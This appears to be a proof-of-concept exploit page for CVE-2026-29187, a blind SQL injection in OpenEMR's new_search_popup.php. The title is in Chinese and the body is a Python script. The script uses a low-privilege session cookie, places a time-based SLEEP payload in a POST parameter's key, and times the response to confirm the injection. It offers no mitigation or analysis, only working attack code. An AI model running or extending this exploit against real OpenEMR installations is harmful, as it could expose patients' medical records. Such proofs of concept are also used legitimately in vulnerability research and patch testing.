CVE-2026-29187 OpenEMR盲注SQL注入漏洞

import requests # Target configuration target_url = "http://victim.com/interface/new/new_search_popup.php" # Attacker credentials (Low privilege required) session_cookies = { "PHPSESSID": "attacker_session_id_here" } # The vulnerability is in the parameter KEY, not the value. # We inject a time-based blind SQL payload into the key name. # Payload: ' OR SLEEP(5)-- - malicious_key = "lastname') OR SLEEP(5)-- -" # Construct payload data payload_data = { malicious_key: "dummy_value" } try: print("Sending exploit request...") response = requests.post(target_url, cookies=session_cookies, data=payload_data) # Check if the response time indicates successful execution (e.g., > 5 seconds) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: SQL Injection triggered via parameter key.") else: print("[-] Vulnerability not detected or response too fast.") except Exception as e: print(f"Error: {e}")